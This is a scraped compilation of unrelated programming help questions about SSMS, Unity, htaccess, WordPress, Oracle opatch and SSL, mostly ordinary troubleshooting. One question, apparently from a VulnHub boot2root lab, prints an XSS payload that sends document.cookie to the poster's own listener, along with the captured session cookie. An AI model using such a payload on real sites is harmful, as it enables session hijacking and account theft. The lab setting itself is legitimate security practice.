Intellisense not working over VPN

I’m running SSMS 2019 on my laptop, connecting to 2 different SQL Servers – 2008 R2 and a SQL 2016 machine. When I’m physically in the building where the servers reside, Intellisense works great. But on days when I’m working from home, connected through VPN, Intellisense is very spotty. Usually it completely fails to work at all, but every once in a while, it’ll auto-fill a database name as I type, but never a table or field name. I’ve tried refreshing the local cache (CTRL+Shif+R), but that hasn’t helped. Any ideas?

Why does my button not working?

I am a new game developer, and I am making a game in unity. I have button, and the button doesn’t work at all.

Also I have a "game object" with a script (here is a part of it):

void Update()     {         if (Input.GetKeyDown(KeyCode.Escape) && isopen == false && can)         {             Stop();         }         else if (Input.GetKeyDown(KeyCode.Escape) && isopen)         {             Continue();         }                } 

And that also doesn’t work.

P.S I have 3 canvases.

I look forward to see an answer.

htaccess force https not working if there is an URI

I’ve never worked with Apache, so I’m a completely newbie.

I have a multihosting account on a provider website, where 3 domain are used. I want to force https connection on a domain, let’s say example.com, which is not the main domain of the hosting plan. What I did is to add an .htaccess file in the path examplecom/public_html, the folder where there are all the file of the website. In the .htaccess I have copy-pasted this strings from the provider guide:

RewriteEngine on RewriteBase / RewriteCond %{HTTPS} !on RewriteRule (.*) https://www.example.com%{REQUEST_URI} [L,R=301] 

The website works correctly if I go to a page with an non-empty URI, but it doesn’t on the main page. In example: http://example.com/anypage is correctly redirected to https://www.example.com/anypage, while http://example.com/ is redirected to https://www.example.com/public_html, and can’t understand why.

Google not working

I’ve been using scrape box for the past month but I’ve come across this error where the google search engine isn’t working. I tried setting the delay to 30 seconds but the 10 secs after it gives error. I’ve use private and public HQ proxies but nothing works? I also reloaded the default search engines to no avail.

WordPress update_comment_meta onclick not working with Ajax

I’m attempting to update_comment_meta via Ajax call in WordPress, but no data is returned and the comment_meta field is not being updated.

Fun.php

add_action( 'wp_enqueue_scripts', 'comment_voting_enqueue_scripts' ); function comment_voting_enqueue_scripts() {   wp_enqueue_script( 'comment_meta_voting-js', get_template_directory_uri() . '/js/ajax-vote.js', array( 'jquery' ), '0.5', false );   wp_localize_script( 'comment_meta_voting-js', 'commentMetaVoting', array(     'ajaxurl' => admin_url( 'admin-ajax.php' ),   ) ); } add_action( 'wp_ajax_nopriv_comment_meta_voting', 'comment_meta_voting' ); add_action( 'wp_ajax_comment_meta_voting', 'comment_meta_voting' );  function comment_meta_voting() {     $  comment_id = $  _POST['vote'];     $  vote_total = get_comment_meta($  comment_id , 'vote', true);     ++$  vote_total;     update_comment_meta($  comment_id , 'vote', $  vote_score );     die(); } 

ajax-vote.js

(function($  ) {     'use strict';     $  (document).on('click', '.sl-button', function() {         var button = $  (this);         var cmnt_id = button.attr('data-post-id');         var security = button.attr('data-nonce');              $  .ajax({                 type: 'POST',                 url: commentMetaVoting.ajaxurl,                 data : {                     action : 'comment_meta_voting',                     post_id : cmnt_id,                     nonce : security,                 },                 success: function(response){                     console.log('tst');                 }             });          return false;     }); })(jQuery); 

and in wp_list_comments callback i add core function where i want to show the link to call:

     <a href="<?php echo admin_url( 'admin-ajax.php?action=comment_meta_voting' . '&cmnt_id=' . $  commentid . '&nonce=' . $  nonce ); ?>" class="sl-button" data-nonce="<?php echo $  commentid ; ?>" data-post-id="<?php echo $  commentid ; ?> ">click</a> 

Finally i get console.log(‘tst’); in thee console.. so i think its correct, no data is returned and the comment_meta field is not being updated..

any help?

Oracle 18c opatch util cleanup not working

System:

[oracle@hostname:/opt/oraclegrid/18]$   uname -a SunOS hostname 5.11 11.4.24.75.2 sun4v sparc sun4v 

Database:

Oracle 18c 18.10 (April 2020 patch), RacOneNode setup 

Opatch

OPatch Version: 12.2.0.1.21 

I found out, that a .patch_storage folder in GRID/DB homes takes really much space on file system. I tried to use opatch util cleanup utility (this utility should clean this folder) but nothing happened. Here is output:

[oracle@hostname:/opt/oraclegrid/18]$   du -hs .patch_storage/  4.1G   .patch_storage [oracle@hostname:/opt/oraclegrid/18]$   opatch util cleanup Oracle Interim Patch Installer version 12.2.0.1.21 Copyright (c) 2020, Oracle Corporation.  All rights reserved.   Oracle Home       : /opt/oraclegrid/18 Central Inventory : /opt/oraInventory    from           : /opt/oraclegrid/18/oraInst.loc OPatch version    : 12.2.0.1.21 OUI version       : 12.2.0.4.0 Log file location : /opt/oraclegrid/18/cfgtoollogs/opatch/opatch2020-09-13_14-47-13PM_1.log  Invoking utility "cleanup" OPatch will clean up 'restore.sh,make.txt' files and 'scratch,backup' directories. You will be still able to rollback patches after this cleanup. Do you want to proceed? [y|n] y User Responded with: Y  Backup area for restore has been cleaned up. For a complete list of files/directories deleted, Please refer log file.  OPatch succeeded. [oracle@hostname:/opt/oraclegrid/18]$   du -hs .patch_storage/  4.1G   .patch_storage 

Log output:

[Sep 13, 2020 2:47:14 PM] [INFO]    CUP_LOG: Trying to load HomeOperations object [Sep 13, 2020 2:47:14 PM] [INFO]    CUP_LOG: HomeOperations provider not available [Sep 13, 2020 2:47:14 PM] [INFO]    CUP_LOG: This is unusual state. HomeOperations object is null, but it should not be null if HomeOperations create went thru. CUP is not available [Sep 13, 2020 2:47:14 PM] [INFO]    OPatch invoked as follows: 'util cleanup -invPtrLoc /opt/oraclegrid/18/oraInst.loc ' [Sep 13, 2020 2:47:14 PM] [INFO]    Runtime args: [-Xmx1536m, -XX:+HeapDumpOnOutOfMemoryError, -XX:HeapDumpPath=/opt/oraclegrid/18/cfgtoollogs/opatch, -DCommonLog.LOG_SESSION_ID=, -DCommonLog.COMMAND_NAME=ut il, -DOPatch.ORACLE_HOME=/opt/oraclegrid/18, -DOPatch.DEBUG=false, -DOPatch.MAKE=false, -DOPatch.RUNNING_DIR=/opt/oracle/18/OPatch, -DOPatch.MW_HOME=, -DOPatch.WL_HOME=, -DOPatch.COMMON_COMPONENTS_HOME=, -DO Patch.OUI_LOCATION=/opt/oraclegrid/18/oui, -DOPatch.FMW_COMPONENT_HOME=, -DOPatch.OPATCH_CLASSPATH=, -DOPatch.WEBLOGIC_CLASSPATH=, -DOPatch.SKIP_OUI_VERSION_CHECK=, -DOPatch.NEXTGEN_HOME_CHECK=false, -DOPatc h.PARALLEL_ON_FMW_OH=] [Sep 13, 2020 2:47:14 PM] [INFO]    Heap in use : 24 MB                                     Total memory: 307 MB                                     Free memory : 282 MB                                     Max memory  : 1365 MB [Sep 13, 2020 2:47:14 PM] [INFO]    Oracle Home       : /opt/oraclegrid/18                                     Central Inventory : /opt/oraInventory                                        from           : /opt/oraclegrid/18/oraInst.loc                                     OPatch version    : 12.2.0.1.21                                     OUI version       : 12.2.0.4.0                                     OUI location      : /opt/oraclegrid/18/oui                                     Log file location : /opt/oraclegrid/18/cfgtoollogs/opatch/opatch2020-09-13_14-47-13PM_1.log [Sep 13, 2020 2:47:14 PM] [INFO]    Patch history file: /opt/oraclegrid/18/cfgtoollogs/opatch/opatch_history.txt [Sep 13, 2020 2:47:16 PM] [INFO]    [OPSR-TIME] Loading raw inventory [Sep 13, 2020 2:47:16 PM] [INFO]    [OPSR-MEMORY] Loaded all components from inventory. Heap memory in use: 54 (MB) [Sep 13, 2020 2:47:16 PM] [INFO]    [OPSR-MEMORY] Loaded all one offs from inventory. Heap memory in use: 54 (MB) [Sep 13, 2020 2:47:16 PM] [INFO]    [OPSR-TIME] Raw inventory loaded successfully [Sep 13, 2020 2:47:16 PM] [INFO]    Invoking utility "cleanup" [Sep 13, 2020 2:47:16 PM] [INFO]    [OPSR-TIME] Cleaning up backup [Sep 13, 2020 2:47:16 PM] [INFO]    OPatch will clean up 'restore.sh,make.txt' files and 'scratch,backup' directories.                                     You will be still able to rollback patches after this cleanup.                                     Do you want to proceed? [y|n] [Sep 13, 2020 2:47:16 PM] [INFO]    Start to wait for user-input at Sun Sep 13 14:47:16 CEST 2020 [Sep 13, 2020 2:47:19 PM] [INFO]    Finish waiting for user-input at Sun Sep 13 14:47:19 CEST 2020 [Sep 13, 2020 2:47:19 PM] [INFO]    User Responded with: Y [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : [Sep 13, 2020 2:47:19 PM] [INFO]    Cannot delete as either pathToBeDeleted is empty or it does not contain .patch_storage : 

Is this a bug? Or am i doing something wrong? Is this command not supported anymore in latest versions of opatch? Thank you guys

XSS on port other than 80 not working

I am currently doing a boot2root VulnHub machine and I have found an XSS entry point to steal admin cookies.

The strange thing is that if I run my SimpleHTTPServer on port 80 then the following payload triggers

<script>document.write('<img src="http://192.168.1.130/'+document.cookie+'" width=0 height=0 border=0 />');</script>

And I get the cookie like this

192.168.1.14 - - [13/Sep/2020 09:23:36] "GET /PHPSESSID=m18d10ghina3pbtlhn5sttrm8o HTTP/1.1" 404 -

But if I run my SimpleHTTPServer let’s say on port 4242 or any other port (I have tried a handful), the following payload does not trigger

<script>document.write('<img src="http://192.168.1.130:4242/'+document.cookie+'" width=0 height=0 border=0 />');</script>

Or at least I don’t see anything.

Please note that the boot2root VM seems to call every minute without fail.

I don’t know why this is happening. Does SimpleHTTPServer only work on port 80? It could be as simple as that, I guess, but I see examples on the internet with other ports being used so I doubt this is the case.

Add_permastruct + $_SERVER[‘Request_uri’] is it working incorrectly?

Good afternoon. There is a record type, and two taxonomies go to it-geo and model. According to the requirements, it was necessary to rewrite the url in the form /%model%/%post_name%/%geo%/. In register_post_type, I rewritten everything using the same ad_permastruct, everything works well, up to the geo step.

Model/name post is a created record based on this structure, for example mers/sl300/msk-everything works.

global $ wp_rewrite;

$ current_url = 'model/namepost/%geo%'; $ wp_rewrite->add_rewrite_tag("%geo%", '([^/]+)', "geo="); $ wp_rewrite->add_permastruct('geo', $ current_url); add_filter('post_type_link', 'photo_permalink', 10, 3); function photo_permalink($ permalink) { return $ permalink; }

If I do not write the URL with my hands, but get the current ONE via $ _SERVER [‘REQUEST_URI’], then I get the same url mers/sl300/msk – but it gives a 404 error immediately. I always reset permalinks

global $ wp_rewrite;

$ current_url = ''.$ _SERVER['REQUEST_URI']. '/%geo%'; $ wp_rewrite->add_rewrite_tag("%geo%", '([^/]+)', "geo="); $ wp_rewrite->add_permastruct('geo', $ current_url); add_filter('post_type_link', 'photo_permalink', 10, 3); function photo_permalink($ permalink) { return $ permalink; }

Wildcard SSL issued by Plesk not working for subdomains

I’ve got a Plesk setup which issues Letsencrypt certificates and hosts part of my client websites. When passing the _achme-challenge and receiving a wildcard certificate / installing said certificate it seems that part of the subdomains which aren’t hosted with me still give a certificate error.

My setup in the DNS is currently as follows:

  • domain.com – A informational website hosted on my Plesk server.
  • dev.domain.com – A separate dev site hosted on another IP address eg 123.481.123.12
  • live.domain.com – Another application entirely, hosted by me and working with the current SSL

As far as I understand this, the other party from dev.domain.com also needs to install a wildcard certificate on their end? Or is there something wrong with my certificate itself.